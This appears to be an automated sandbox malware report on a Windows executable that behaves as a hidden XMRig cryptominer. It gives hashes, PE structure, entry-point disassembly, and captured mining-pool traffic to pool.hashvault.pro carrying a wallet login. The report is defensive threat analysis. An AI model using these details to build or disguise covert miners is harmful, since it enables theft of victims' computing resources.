Joe Sandbox View:	Filename: T52Z708x2p.exe, Detection: malicious, Browse Filename: lJ4EzPSKMj.exe, Detection: malicious, Browse Filename: Us051y7j25.exe, Detection: malicious, Browse Filename: bypass.exe, Detection: malicious, Browse Filename: MDE_File_Sample_7046d0b264f80a016ec10158377c7e76c395cffb.zip, Detection: malicious, Browse Filename: Q3Vq6yp33F.exe, Detection: malicious, Browse Filename: 2JkHiPgkLE.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: loader.exe, Detection: malicious, Browse Filename: SecuriteInfo.com.Win64.Evo-gen.31489.1077.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......5:n.q[..q[..q[..q[..}[..V.{.t[..V.}.p[..V.m.r[..V.q.p[..V.\|.p[..V.x.p[..Richq[..................PE..d....&.H.........."..................P.......................................p..............................................................dP..<....`.......@..`...................p ............................................... ..p............................text............................... ..h.rdata..\|.... ......................@..H.data........0......................@....pdata..`....@......................@..HINIT...."....P...................... ....rsrc........`......................@..B................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32+ executable (GUI) x86-64, for MS Windows
Entropy (8bit):	6.53722623620131
TrID:	Win64 Executable GUI (202006/5) 92.65% Win64 Executable (generic) (12005/4) 5.51% Generic Win/DOS Executable (2004/3) 0.92% DOS Executable Generic (2002/1) 0.92% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	prog.exe
File size:	2'663'424 bytes
MD5:	d3adc3ec7b76556b7fac591c33f31ea9
SHA1:	b7295fae70f550aa2963da196b08636094e26e93
SHA256:	25231ba6616c0c1bbc4dda82bdd46ad067577e16971bae412b1192b250b456dc
SHA512:	0edd9263191b82e525da655f76597bbd755174e8436e1e3a783a6a7f7064077e651a7d4dd36b3fd1b353bc435ff9d3ade466d43327ba086dee89b712cab73985
SSDEEP:	49152:BMnw0O8lulPUtBbXmsGHePO2/cqKQBxLEHq86RM+uFVwYm6fYfOuFa1Y+PJq++W5:CnfxYW/b8em2/ctQBxGql2+Szm6fYfOo
TLSH:	F3C533E427112BF5F4A14473B1EC8E7D29463CD01B8D90CBBBAD60993095BE52279B8F
File Content Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d......f.........."...........(.....@..........@............................. )...........`........................................

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x140001140
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x140000000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE
DLL Characteristics:	HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE
Time Stamp:	0x66F8AA8A [Sun Sep 29 01:16:58 2024 UTC]
TLS Callbacks:	0x40001760, 0x1, 0x400017e0, 0x1
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	3d303175fced9345f14b8a51817a6c63

Entrypoint Preview

Instruction
dec eax
sub esp, 28h
dec eax
mov eax, dword ptr [00009ED5h]
mov dword ptr [eax], 00000001h
call 00007FBBA081C74Fh
nop
nop
nop
dec eax
add esp, 28h
ret
nop
inc ecx
push edi
inc ecx
push esi
push esi
push edi
push ebx
dec eax
sub esp, 20h
dec eax
mov eax, dword ptr [00000030h]
dec eax
mov edi, dword ptr [eax+08h]
dec eax
mov esi, dword ptr [00009EC9h]
xor eax, eax
dec eax
cmpxchg dword ptr [esi], edi
sete bl
je 00007FBBA081C770h
dec eax
cmp edi, eax
je 00007FBBA081C76Bh
dec esp
mov esi, dword ptr [0000C591h]
nop word ptr [eax+eax+00000000h]
mov ecx, 000003E8h
inc ecx
call esi
xor eax, eax
dec eax
cmpxchg dword ptr [esi], edi
sete bl
je 00007FBBA081C747h
dec eax
cmp edi, eax
jne 00007FBBA081C729h
dec eax
mov edi, dword ptr [00009E90h]
mov eax, dword ptr [edi]
cmp eax, 01h
jne 00007FBBA081C74Eh
mov ecx, 0000001Fh
call 00007FBBA0825944h
jmp 00007FBBA081C769h
cmp dword ptr [edi], 00000000h
je 00007FBBA081C74Bh
mov byte ptr [00289FC9h], 00000001h
jmp 00007FBBA081C75Bh
mov dword ptr [edi], 00000001h
dec eax
mov ecx, dword ptr [00009E7Ah]
dec eax
mov edx, dword ptr [00009E7Bh]
call 00007FBBA082593Bh
mov eax, dword ptr [edi]
cmp eax, 01h
jne 00007FBBA081C75Bh
dec eax
mov ecx, dword ptr [00009E50h]

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0xd430	0x3c	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x290000	0x350	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x28d000	0x18c	.pdata
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x291000	0x78	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0xb0a0	0x28	.rdata
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0xb410	0x138	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0xd5e0	0x170	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x9576	0x9600	e871941b2a1be0bca3ccc51ed102f079	False	0.4900260416666667	data	6.1447162762330905	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0xb000	0x2bd0	0x2c00	92e5cea85d0a7dbaad62678aaf20867d	False	0.49156605113636365	data	4.675362756852205	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0xe000	0x27ef60	0x27d200	95c8c619b5ec2f3c4c232458f13ad446	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.pdata	0x28d000	0x18c	0x200	10e57cb431088f4e5a2b3aa4d0b0ba00	False	0.51171875	data	3.205149816774182	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.00cfg	0x28e000	0x10	0x200	b18c7380298e104adf73576fa46bccc1	False	0.04296875	data	0.15127132530476972	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.tls	0x28f000	0x10	0x200	bf619eac0cdf3f68d496ea9344137e8b	False	0.02734375	data	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x290000	0x350	0x400	afe7e6c6372646407803bf7f6015520d	False	0.3642578125	data	2.815670913075077	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x291000	0x78	0x200	d66471f02600051747db3badfb69bc4a	False	0.228515625	data	1.4089317484997983	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_VERSION	0x290060	0x2f0	SysEx File - IDP	English	United States	0.449468085106383

Imports

DLL	Import
msvcrt.dll	__C_specific_handler, __getmainargs, __initenv, __iob_func, __set_app_type, __setusermatherr, _amsg_exit, _cexit, _commode, _fmode, _initterm, _onexit, _time64, _wcsicmp, _wcsnicmp, abort, calloc, exit, fprintf, free, fwrite, malloc, memcpy, memset, rand, signal, srand, strlen, strncmp, vfprintf, wcscat, wcscpy, wcslen, wcsncmp
KERNEL32.dll	DeleteCriticalSection, EnterCriticalSection, GetLastError, InitializeCriticalSection, LeaveCriticalSection, SetUnhandledExceptionFilter, Sleep, TlsGetValue, VirtualProtect, VirtualQuery

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-26T16:36:14.260707+0200	2036289	ET COINMINER CoinMiner Domain in DNS Lookup (pool .hashvault .pro)	2	192.168.2.5	58750	1.1.1.1	53	UDP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 26, 2024 16:36:14.277605057 CEST	49781	443	192.168.2.5	95.179.241.203
Oct 26, 2024 16:36:14.277707100 CEST	443	49781	95.179.241.203	192.168.2.5
Oct 26, 2024 16:36:14.277810097 CEST	49781	443	192.168.2.5	95.179.241.203
Oct 26, 2024 16:36:14.278083086 CEST	49781	443	192.168.2.5	95.179.241.203
Oct 26, 2024 16:36:14.278117895 CEST	443	49781	95.179.241.203	192.168.2.5
Oct 26, 2024 16:36:16.170316935 CEST	443	49781	95.179.241.203	192.168.2.5
Oct 26, 2024 16:36:16.174884081 CEST	49781	443	192.168.2.5	95.179.241.203
Oct 26, 2024 16:36:16.174945116 CEST	443	49781	95.179.241.203	192.168.2.5
Oct 26, 2024 16:36:16.176630974 CEST	443	49781	95.179.241.203	192.168.2.5
Oct 26, 2024 16:36:16.176728964 CEST	49781	443	192.168.2.5	95.179.241.203
Oct 26, 2024 16:36:16.177922964 CEST	49781	443	192.168.2.5	95.179.241.203
Oct 26, 2024 16:36:16.178030968 CEST	443	49781	95.179.241.203	192.168.2.5
Oct 26, 2024 16:36:16.231553078 CEST	49781	443	192.168.2.5	95.179.241.203
Oct 26, 2024 16:36:16.231614113 CEST	443	49781	95.179.241.203	192.168.2.5
Oct 26, 2024 16:36:16.278244019 CEST	49781	443	192.168.2.5	95.179.241.203
Oct 26, 2024 16:36:16.428292036 CEST	443	49781	95.179.241.203	192.168.2.5
Oct 26, 2024 16:36:16.481365919 CEST	49781	443	192.168.2.5	95.179.241.203
Oct 26, 2024 16:36:27.602922916 CEST	443	49781	95.179.241.203	192.168.2.5
Oct 26, 2024 16:36:27.653333902 CEST	49781	443	192.168.2.5	95.179.241.203
Oct 26, 2024 16:36:49.658514023 CEST	443	49781	95.179.241.203	192.168.2.5
Oct 26, 2024 16:36:49.700248003 CEST	49781	443	192.168.2.5	95.179.241.203
Oct 26, 2024 16:37:01.134270906 CEST	443	49781	95.179.241.203	192.168.2.5
Oct 26, 2024 16:37:01.184535027 CEST	49781	443	192.168.2.5	95.179.241.203
Oct 26, 2024 16:37:11.453881979 CEST	443	49781	95.179.241.203	192.168.2.5
Oct 26, 2024 16:37:11.497157097 CEST	49781	443	192.168.2.5	95.179.241.203
Oct 26, 2024 16:37:33.447185993 CEST	443	49781	95.179.241.203	192.168.2.5
Oct 26, 2024 16:37:33.497075081 CEST	49781	443	192.168.2.5	95.179.241.203
Oct 26, 2024 16:37:55.650424957 CEST	443	49781	95.179.241.203	192.168.2.5
Oct 26, 2024 16:37:55.700208902 CEST	49781	443	192.168.2.5	95.179.241.203
Oct 26, 2024 16:38:01.129565001 CEST	443	49781	95.179.241.203	192.168.2.5
Oct 26, 2024 16:38:01.184591055 CEST	49781	443	192.168.2.5	95.179.241.203
Oct 26, 2024 16:38:06.923521996 CEST	49781	443	192.168.2.5	95.179.241.203
Oct 26, 2024 16:38:06.971364975 CEST	443	49781	95.179.241.203	192.168.2.5
Oct 26, 2024 16:38:07.384527922 CEST	443	49781	95.179.241.203	192.168.2.5
Oct 26, 2024 16:38:07.434592009 CEST	49781	443	192.168.2.5	95.179.241.203
Oct 26, 2024 16:38:17.735927105 CEST	443	49781	95.179.241.203	192.168.2.5
Oct 26, 2024 16:38:17.778378010 CEST	49781	443	192.168.2.5	95.179.241.203
Oct 26, 2024 16:38:34.042309999 CEST	49781	443	192.168.2.5	95.179.241.203
Oct 26, 2024 16:38:34.042387009 CEST	443	49781	95.179.241.203	192.168.2.5
Oct 26, 2024 16:38:34.294243097 CEST	443	49781	95.179.241.203	192.168.2.5
Oct 26, 2024 16:38:34.340894938 CEST	49781	443	192.168.2.5	95.179.241.203
Oct 26, 2024 16:38:39.639853001 CEST	443	49781	95.179.241.203	192.168.2.5
Oct 26, 2024 16:38:39.684638977 CEST	49781	443	192.168.2.5	95.179.241.203
Oct 26, 2024 16:38:40.390106916 CEST	49781	443	192.168.2.5	95.179.241.203
Oct 26, 2024 16:38:40.390192986 CEST	443	49781	95.179.241.203	192.168.2.5
Oct 26, 2024 16:38:40.642549992 CEST	443	49781	95.179.241.203	192.168.2.5
Oct 26, 2024 16:38:40.684633017 CEST	49781	443	192.168.2.5	95.179.241.203

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 26, 2024 16:36:14.260706902 CEST	58750	53	192.168.2.5	1.1.1.1
Oct 26, 2024 16:36:14.275625944 CEST	53	58750	1.1.1.1	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 26, 2024 16:36:14.260706902 CEST	192.168.2.5	1.1.1.1	0x96e3	Standard query (0)	pool.hashvault.pro	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Oct 26, 2024 16:36:14.275625944 CEST	1.1.1.1	192.168.2.5	0x96e3	No error (0)	pool.hashvault.pro		95.179.241.203	A (IP address)	IN (0x0001)	false
Oct 26, 2024 16:36:14.275625944 CEST	1.1.1.1	192.168.2.5	0x96e3	No error (0)	pool.hashvault.pro		45.76.89.70	A (IP address)	IN (0x0001)	false

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49781	95.179.241.203	443	4696	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-26 14:36:16 UTC	595	OUT	Data Raw: 7b 22 69 64 22 3a 31 2c 22 6a 73 6f 6e 72 70 63 22 3a 22 32 2e 30 22 2c 22 6d 65 74 68 6f 64 22 3a 22 6c 6f 67 69 6e 22 2c 22 70 61 72 61 6d 73 22 3a 7b 22 6c 6f 67 69 6e 22 3a 22 34 32 50 36 65 54 35 66 54 64 4c 50 4d 4e 33 79 48 6b 4a 58 50 35 46 55 56 56 78 78 39 79 56 46 41 54 72 38 69 66 31 66 48 67 4b 4c 63 4a 4c 39 34 62 47 51 39 78 63 34 32 44 36 4d 70 50 31 73 62 69 32 59 68 39 44 6e 39 62 77 36 62 37 33 39 36 67 72 74 42 52 39 79 54 62 72 6b 74 61 71 22 2c 22 70 61 73 73 22 3a 22 31 32 33 34 22 2c 22 61 67 65 6e 74 22 3a 22 58 4d 52 69 67 2f 36 2e 31 39 2e 33 20 28 57 69 6e 64 6f 77 73 20 4e 54 20 31 30 2e 30 3b 20 57 69 6e 36 34 3b 20 78 36 34 29 20 6c 69 62 75 76 2f 31 2e 33 38 2e 30 20 6d 73 76 63 2f 32 30 32 32 22 2c 22 72 69 67 69 64 22 3a Data Ascii: {"id":1,"jsonrpc":"2.0","method":"login","params":{"login":"42P6eT5fTdLPMN3yHkJXP5FUVVxx9yVFATr8if1fHgKLcJL94bGQ9xc42D6MpP1sbi2Yh9Dn9bw6b7396grtBR9yTbrktaq","pass":"1234","agent":"XMRig/6.19.3 (Windows NT 10.0; Win64; x64) libuv/1.38.0 msvc/2022","rigid":
2024-10-26 14:36:16 UTC	732	IN	Data Raw: 7b 22 69 64 22 3a 31 2c 22 6a 73 6f 6e 72 70 63 22 3a 22 32 2e 30 22 2c 22 65 72 72 6f 72 22 3a 6e 75 6c 6c 2c 22 72 65 73 75 6c 74 22 3a 7b 22 69 64 22 3a 22 64 65 34 30 62 35 39 38 2d 37 31 66 39 2d 34 66 64 35 2d 38 37 35 66 2d 64 37 33 63 38 30 65 33 35 39 64 64 22 2c 22 6a 6f 62 22 3a 7b 22 62 6c 6f 62 22 3a 22 31 30 31 30 64 35 66 63 66 33 62 38 30 36 30 37 61 66 62 63 35 33 31 35 66 61 61 39 35 38 38 38 34 38 33 35 62 37 65 38 63 62 65 33 33 30 37 61 34 34 64 36 66 62 31 64 34 38 35 32 38 39 34 63 62 31 31 62 63 38 62 31 36 36 37 31 31 30 30 30 30 30 30 30 30 30 31 31 37 62 31 32 33 30 35 30 64 38 36 37 38 65 36 63 66 38 34 37 35 66 61 36 38 36 30 30 38 63 64 66 36 65 66 64 30 63 63 39 39 30 32 30 30 61 33 38 61 62 37 32 63 64 35 39 61 62 32 33 31 Data Ascii: {"id":1,"jsonrpc":"2.0","error":null,"result":{"id":"de40b598-71f9-4fd5-875f-d73c80e359dd","job":{"blob":"1010d5fcf3b80607afbc5315faa958884835b7e8cbe3307a44d6fb1d4852894cb11bc8b166711000000000117b123050d8678e6cf8475fa686008cdf6efd0cc990200a38ab72cd59ab231
2024-10-26 14:36:27 UTC	471	IN	Data Raw: 7b 22 6a 73 6f 6e 72 70 63 22 3a 22 32 2e 30 22 2c 22 6d 65 74 68 6f 64 22 3a 22 6a 6f 62 22 2c 22 70 61 72 61 6d 73 22 3a 7b 22 62 6c 6f 62 22 3a 22 31 30 31 30 65 62 66 63 66 33 62 38 30 36 30 37 61 66 62 63 35 33 31 35 66 61 61 39 35 38 38 38 34 38 33 35 62 37 65 38 63 62 65 33 33 30 37 61 34 34 64 36 66 62 31 64 34 38 35 32 38 39 34 63 62 31 31 62 63 38 62 31 36 36 37 31 31 30 30 30 30 30 30 30 30 30 63 62 30 31 63 36 30 62 38 65 66 32 61 38 31 39 39 30 35 61 39 37 31 61 38 30 32 61 62 63 31 33 35 38 32 39 36 64 63 37 63 38 35 35 38 33 33 30 36 63 35 33 66 31 62 32 32 62 30 63 35 34 64 66 31 64 22 2c 22 6a 6f 62 5f 69 64 22 3a 22 66 34 65 61 61 62 32 65 2d 37 64 30 34 2d 34 33 32 65 2d 62 61 30 38 2d 62 64 66 32 39 30 35 33 31 36 38 39 22 2c 22 74 61 Data Ascii: {"jsonrpc":"2.0","method":"job","params":{"blob":"1010ebfcf3b80607afbc5315faa958884835b7e8cbe3307a44d6fb1d4852894cb11bc8b166711000000000cb01c60b8ef2a819905a971a802abc1358296dc7c85583306c53f1b22b0c54df1d","job_id":"f4eaab2e-7d04-432e-ba08-bdf290531689","ta
2024-10-26 14:36:49 UTC	471	IN	Data Raw: 7b 22 6a 73 6f 6e 72 70 63 22 3a 22 32 2e 30 22 2c 22 6d 65 74 68 6f 64 22 3a 22 6a 6f 62 22 2c 22 70 61 72 61 6d 73 22 3a 7b 22 62 6c 6f 62 22 3a 22 31 30 31 30 38 31 66 64 66 33 62 38 30 36 30 37 61 66 62 63 35 33 31 35 66 61 61 39 35 38 38 38 34 38 33 35 62 37 65 38 63 62 65 33 33 30 37 61 34 34 64 36 66 62 31 64 34 38 35 32 38 39 34 63 62 31 31 62 63 38 62 31 36 36 37 31 31 30 30 30 30 30 30 30 30 30 31 30 36 66 35 35 31 37 62 37 65 65 63 33 66 32 34 31 65 61 32 37 64 34 63 39 39 36 33 64 39 34 39 64 61 61 30 62 31 63 61 30 36 32 33 31 33 36 66 65 30 37 39 39 38 37 62 31 34 35 66 31 63 35 32 30 22 2c 22 6a 6f 62 5f 69 64 22 3a 22 33 32 62 33 64 34 30 63 2d 61 65 63 33 2d 34 61 35 64 2d 62 64 39 64 2d 34 30 34 64 36 30 33 39 61 35 64 31 22 2c 22 74 61 Data Ascii: {"jsonrpc":"2.0","method":"job","params":{"blob":"101081fdf3b80607afbc5315faa958884835b7e8cbe3307a44d6fb1d4852894cb11bc8b166711000000000106f5517b7eec3f241ea27d4c9963d949daa0b1ca0623136fe079987b145f1c520","job_id":"32b3d40c-aec3-4a5d-bd9d-404d6039a5d1","ta
2024-10-26 14:37:01 UTC	471	IN	Data Raw: 7b 22 6a 73 6f 6e 72 70 63 22 3a 22 32 2e 30 22 2c 22 6d 65 74 68 6f 64 22 3a 22 6a 6f 62 22 2c 22 70 61 72 61 6d 73 22 3a 7b 22 62 6c 6f 62 22 3a 22 31 30 31 30 38 31 66 64 66 33 62 38 30 36 30 37 61 66 62 63 35 33 31 35 66 61 61 39 35 38 38 38 34 38 33 35 62 37 65 38 63 62 65 33 33 30 37 61 34 34 64 36 66 62 31 64 34 38 35 32 38 39 34 63 62 31 31 62 63 38 62 31 36 36 37 31 31 30 30 30 30 30 30 30 30 30 33 34 31 33 65 61 36 61 38 37 33 39 36 34 33 34 34 63 62 30 33 36 61 38 64 61 66 35 35 35 38 35 36 62 62 33 61 65 63 34 38 62 66 64 32 64 37 39 31 37 32 64 38 33 64 64 63 62 61 61 35 34 31 66 32 30 22 2c 22 6a 6f 62 5f 69 64 22 3a 22 32 64 35 39 62 63 32 39 2d 62 38 36 39 2d 34 65 66 65 2d 38 65 36 37 2d 31 38 33 32 62 33 33 61 64 65 31 38 22 2c 22 74 61 Data Ascii: {"jsonrpc":"2.0","method":"job","params":{"blob":"101081fdf3b80607afbc5315faa958884835b7e8cbe3307a44d6fb1d4852894cb11bc8b1667110000000003413ea6a873964344cb036a8daf555856bb3aec48bfd2d79172d83ddcbaa541f20","job_id":"2d59bc29-b869-4efe-8e67-1832b33ade18","ta
2024-10-26 14:37:11 UTC	471	IN	Data Raw: 7b 22 6a 73 6f 6e 72 70 63 22 3a 22 32 2e 30 22 2c 22 6d 65 74 68 6f 64 22 3a 22 6a 6f 62 22 2c 22 70 61 72 61 6d 73 22 3a 7b 22 62 6c 6f 62 22 3a 22 31 30 31 30 39 37 66 64 66 33 62 38 30 36 30 37 61 66 62 63 35 33 31 35 66 61 61 39 35 38 38 38 34 38 33 35 62 37 65 38 63 62 65 33 33 30 37 61 34 34 64 36 66 62 31 64 34 38 35 32 38 39 34 63 62 31 31 62 63 38 62 31 36 36 37 31 31 30 30 30 30 30 30 30 30 30 33 35 62 34 32 30 33 34 32 63 32 34 39 64 65 39 35 30 30 35 64 65 65 33 65 30 31 62 31 34 32 31 38 34 64 37 62 30 64 36 64 32 65 37 35 61 64 61 35 34 30 38 65 66 39 31 33 34 36 66 61 64 35 62 32 35 22 2c 22 6a 6f 62 5f 69 64 22 3a 22 66 39 62 33 32 66 37 36 2d 64 64 61 31 2d 34 61 38 66 2d 61 38 32 37 2d 34 62 66 36 33 36 39 35 31 30 39 64 22 2c 22 74 61 Data Ascii: {"jsonrpc":"2.0","method":"job","params":{"blob":"101097fdf3b80607afbc5315faa958884835b7e8cbe3307a44d6fb1d4852894cb11bc8b16671100000000035b420342c249de95005dee3e01b142184d7b0d6d2e75ada5408ef91346fad5b25","job_id":"f9b32f76-dda1-4a8f-a827-4bf63695109d","ta
2024-10-26 14:37:33 UTC	471	IN	Data Raw: 7b 22 6a 73 6f 6e 72 70 63 22 3a 22 32 2e 30 22 2c 22 6d 65 74 68 6f 64 22 3a 22 6a 6f 62 22 2c 22 70 61 72 61 6d 73 22 3a 7b 22 62 6c 6f 62 22 3a 22 31 30 31 30 61 64 66 64 66 33 62 38 30 36 30 37 61 66 62 63 35 33 31 35 66 61 61 39 35 38 38 38 34 38 33 35 62 37 65 38 63 62 65 33 33 30 37 61 34 34 64 36 66 62 31 64 34 38 35 32 38 39 34 63 62 31 31 62 63 38 62 31 36 36 37 31 31 30 30 30 30 30 30 30 30 30 39 34 35 31 37 37 31 39 32 66 38 39 62 64 38 66 39 32 34 63 62 32 39 38 37 61 66 36 66 30 62 37 39 31 33 34 38 37 30 33 63 39 30 35 34 64 31 61 36 62 63 64 61 39 36 32 38 31 66 38 31 34 32 62 32 61 22 2c 22 6a 6f 62 5f 69 64 22 3a 22 34 39 38 35 62 34 36 66 2d 61 30 39 30 2d 34 30 61 30 2d 61 39 36 35 2d 62 65 33 35 63 35 62 33 34 63 62 39 22 2c 22 74 61 Data Ascii: {"jsonrpc":"2.0","method":"job","params":{"blob":"1010adfdf3b80607afbc5315faa958884835b7e8cbe3307a44d6fb1d4852894cb11bc8b166711000000000945177192f89bd8f924cb2987af6f0b791348703c9054d1a6bcda96281f8142b2a","job_id":"4985b46f-a090-40a0-a965-be35c5b34cb9","ta
2024-10-26 14:37:55 UTC	471	IN	Data Raw: 7b 22 6a 73 6f 6e 72 70 63 22 3a 22 32 2e 30 22 2c 22 6d 65 74 68 6f 64 22 3a 22 6a 6f 62 22 2c 22 70 61 72 61 6d 73 22 3a 7b 22 62 6c 6f 62 22 3a 22 31 30 31 30 63 33 66 64 66 33 62 38 30 36 30 37 61 66 62 63 35 33 31 35 66 61 61 39 35 38 38 38 34 38 33 35 62 37 65 38 63 62 65 33 33 30 37 61 34 34 64 36 66 62 31 64 34 38 35 32 38 39 34 63 62 31 31 62 63 38 62 31 36 36 37 31 31 30 30 30 30 30 30 30 30 30 61 63 37 38 66 34 32 35 61 37 66 66 38 30 66 35 32 61 34 61 32 31 36 32 39 39 35 39 62 34 31 38 31 66 32 37 65 34 63 62 30 62 39 34 38 61 61 34 64 32 62 35 66 66 30 38 65 61 61 38 65 30 32 62 33 35 22 2c 22 6a 6f 62 5f 69 64 22 3a 22 65 64 63 37 36 63 38 30 2d 65 31 65 35 2d 34 35 37 37 2d 61 63 39 65 2d 32 30 35 61 62 64 31 62 35 31 31 64 22 2c 22 74 61 Data Ascii: {"jsonrpc":"2.0","method":"job","params":{"blob":"1010c3fdf3b80607afbc5315faa958884835b7e8cbe3307a44d6fb1d4852894cb11bc8b166711000000000ac78f425a7ff80f52a4a21629959b4181f27e4cb0b948aa4d2b5ff08eaa8e02b35","job_id":"edc76c80-e1e5-4577-ac9e-205abd1b511d","ta
2024-10-26 14:38:01 UTC	471	IN	Data Raw: 7b 22 6a 73 6f 6e 72 70 63 22 3a 22 32 2e 30 22 2c 22 6d 65 74 68 6f 64 22 3a 22 6a 6f 62 22 2c 22 70 61 72 61 6d 73 22 3a 7b 22 62 6c 6f 62 22 3a 22 31 30 31 30 63 33 66 64 66 33 62 38 30 36 30 37 61 66 62 63 35 33 31 35 66 61 61 39 35 38 38 38 34 38 33 35 62 37 65 38 63 62 65 33 33 30 37 61 34 34 64 36 66 62 31 64 34 38 35 32 38 39 34 63 62 31 31 62 63 38 62 31 36 36 37 31 31 30 30 30 30 30 30 30 30 30 30 35 66 38 63 33 64 66 61 31 62 33 65 39 38 39 62 33 65 63 61 65 66 33 39 62 62 65 63 63 36 32 39 35 37 62 62 65 66 39 33 36 35 32 62 31 36 36 38 63 39 30 38 36 38 31 35 61 37 61 33 36 31 66 33 35 22 2c 22 6a 6f 62 5f 69 64 22 3a 22 33 66 34 36 34 32 62 37 2d 34 36 35 31 2d 34 33 37 31 2d 61 63 62 39 2d 38 63 66 61 32 34 36 38 37 61 35 38 22 2c 22 74 61 Data Ascii: {"jsonrpc":"2.0","method":"job","params":{"blob":"1010c3fdf3b80607afbc5315faa958884835b7e8cbe3307a44d6fb1d4852894cb11bc8b16671100000000005f8c3dfa1b3e989b3ecaef39bbecc62957bbef93652b1668c9086815a7a361f35","job_id":"3f4642b7-4651-4371-acb9-8cfa24687a58","ta
2024-10-26 14:38:06 UTC	256	OUT	Data Raw: 7b 22 69 64 22 3a 32 2c 22 6a 73 6f 6e 72 70 63 22 3a 22 32 2e 30 22 2c 22 6d 65 74 68 6f 64 22 3a 22 73 75 62 6d 69 74 22 2c 22 70 61 72 61 6d 73 22 3a 7b 22 69 64 22 3a 22 64 65 34 30 62 35 39 38 2d 37 31 66 39 2d 34 66 64 35 2d 38 37 35 66 2d 64 37 33 63 38 30 65 33 35 39 64 64 22 2c 22 6a 6f 62 5f 69 64 22 3a 22 33 66 34 36 34 32 62 37 2d 34 36 35 31 2d 34 33 37 31 2d 61 63 62 39 2d 38 63 66 61 32 34 36 38 37 61 35 38 22 2c 22 6e 6f 6e 63 65 22 3a 22 63 35 30 38 30 30 30 30 22 2c 22 72 65 73 75 6c 74 22 3a 22 36 65 61 39 62 62 63 37 38 61 38 36 34 36 35 31 36 64 32 64 33 35 65 33 66 66 30 64 66 66 61 61 63 31 66 65 30 33 62 37 66 61 63 61 64 32 61 65 61 61 62 61 33 30 63 32 32 64 35 30 30 30 30 30 22 2c 22 61 6c 67 6f 22 3a 22 72 78 2f 30 22 7d 7d 0d Data Ascii: {"id":2,"jsonrpc":"2.0","method":"submit","params":{"id":"de40b598-71f9-4fd5-875f-d73c80e359dd","job_id":"3f4642b7-4651-4371-acb9-8cfa24687a58","nonce":"c5080000","result":"6ea9bbc78a8646516d2d35e3ff0dffaac1fe03b7facad2aeaaba30c22d500000","algo":"rx/0"}}

Target ID:	0
Start time:	10:35:44
Start date:	26/10/2024
Path:	C:\Users\user\Desktop\prog.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\Desktop\prog.exe"
Imagebase:	0x7ff6f1fb0000
File size:	2'663'424 bytes
MD5 hash:	D3ADC3EC7B76556B7FAC591C33F31EA9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	10:35:49
Start date:	26/10/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
